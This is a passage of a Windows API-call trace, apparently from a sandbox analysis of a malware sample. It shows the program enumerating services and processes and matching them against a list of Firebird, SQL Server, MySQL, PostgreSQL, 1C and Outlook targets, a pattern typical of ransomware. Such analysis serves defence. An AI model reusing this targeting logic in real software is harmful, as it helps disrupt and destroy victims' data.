[0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0054.087] lstrlenW (lpString="SysMain") returned 7 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0054.087] lstrlenW (lpString="Themes") returned 6 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0054.087] lstrlenW (lpString="TrkWks") returned 6 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0054.087] lstrlenW (lpString="UxSms") returned 5 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0054.087] lstrlenW (lpString="WdiServiceHost") returned 14 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0054.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0054.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0054.087] lstrlenW (lpString="WdiSystemHost") returned 13 [0054.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0054.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0054.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0054.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0054.088] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0054.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0054.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0054.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0054.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0054.088] lstrlenW (lpString="Winmgmt") returned 7 [0054.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0054.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0054.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0054.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0054.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0054.088] lstrlenW (lpString="WPDBusEnum") returned 10 [0054.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0054.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0054.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0054.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0054.088] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6230a8 | out: hHeap=0x5d0000) returned 1 [0054.089] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x114 [0054.093] Process32FirstW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0054.093] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0054.094] lstrlenW (lpString="System") returned 6 [0054.094] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0054.094] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0054.094] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0054.095] lstrlenW (lpString="smss.exe") returned 8 [0054.095] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0054.095] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.095] lstrlenW (lpString="csrss.exe") returned 9 [0054.095] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.095] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.095] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.095] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.095] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.096] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0054.096] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0054.096] lstrlenW (lpString="wininit.exe") returned 11 [0054.096] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0054.096] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0054.096] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0054.097] lstrlenW (lpString="csrss.exe") returned 9 [0054.097] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0054.097] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0054.097] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0054.097] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0054.097] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0054.097] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0054.097] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0054.098] lstrlenW (lpString="winlogon.exe") returned 12 [0054.098] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0054.098] lstrlenW (lpString="services.exe") returned 12 [0054.098] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0054.099] lstrlenW (lpString="lsass.exe") returned 9 [0054.099] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0054.099] lstrlenW (lpString="lsm.exe") returned 7 [0054.099] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.100] lstrlenW (lpString="svchost.exe") returned 11 [0054.100] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.100] lstrlenW (lpString="svchost.exe") returned 11 [0054.100] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.101] lstrlenW (lpString="svchost.exe") returned 11 [0054.101] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.101] lstrlenW (lpString="svchost.exe") returned 11 [0054.101] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.102] lstrlenW (lpString="svchost.exe") returned 11 [0054.102] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0054.102] lstrlenW (lpString="audiodg.exe") returned 11 [0054.102] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.103] lstrlenW (lpString="svchost.exe") returned 11 [0054.103] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.103] lstrlenW (lpString="svchost.exe") returned 11 [0054.103] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0054.104] lstrlenW (lpString="dwm.exe") returned 7 [0054.104] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0054.104] lstrlenW (lpString="explorer.exe") returned 12 [0054.105] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0054.105] lstrlenW (lpString="spoolsv.exe") returned 11 [0054.105] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.106] lstrlenW (lpString="svchost.exe") returned 11 [0054.106] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0054.106] lstrlenW (lpString="taskhost.exe") returned 12 [0054.106] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0054.107] lstrlenW (lpString="taskeng.exe") returned 11 [0054.107] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0054.107] lstrlenW (lpString="spoken.exe") returned 10 [0054.107] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0054.108] lstrlenW (lpString="cut baby kind.exe") returned 17 [0054.108] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0054.108] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0054.108] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0054.109] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0054.109] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0054.109] lstrlenW (lpString="things apt speaker.exe") returned 22 [0054.109] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0054.110] lstrlenW (lpString="longest.exe") returned 11 [0054.110] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0054.110] lstrlenW (lpString="liberty.exe") returned 11 [0054.110] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0054.111] lstrlenW (lpString="robust.exe") returned 10 [0054.111] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0054.111] lstrlenW (lpString="browse.exe") returned 10 [0054.111] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0054.112] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0054.112] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0054.112] lstrlenW (lpString="blocked.exe") returned 11 [0054.112] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0054.113] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0054.113] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0054.144] lstrlenW (lpString="reno.exe") returned 8 [0055.688] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0055.689] lstrlenW (lpString="vancouver.exe") returned 13 [0055.689] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0055.690] lstrlenW (lpString="africa.exe") returned 10 [0055.690] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0055.690] lstrlenW (lpString="ph-pos.exe") returned 10 [0055.690] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0055.691] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0055.691] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0055.691] lstrlenW (lpString="peaceful.exe") returned 12 [0055.691] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0055.692] lstrlenW (lpString="louise_threshold.exe") returned 20 [0055.692] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0055.692] lstrlenW (lpString="scannerhit.exe") returned 14 [0055.692] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0055.693] lstrlenW (lpString="3dftp.exe") returned 9 [0055.693] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0055.693] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0055.693] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0055.694] lstrlenW (lpString="alftp.exe") returned 9 [0055.694] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0055.694] lstrlenW (lpString="barca.exe") returned 9 [0055.694] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0055.695] lstrlenW (lpString="bitkinex.exe") returned 12 [0055.695] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0055.695] lstrlenW (lpString="coreftp.exe") returned 11 [0055.695] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0055.696] lstrlenW (lpString="far.exe") returned 7 [0055.696] Process32NextW (in: hSnapshot=0x114, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 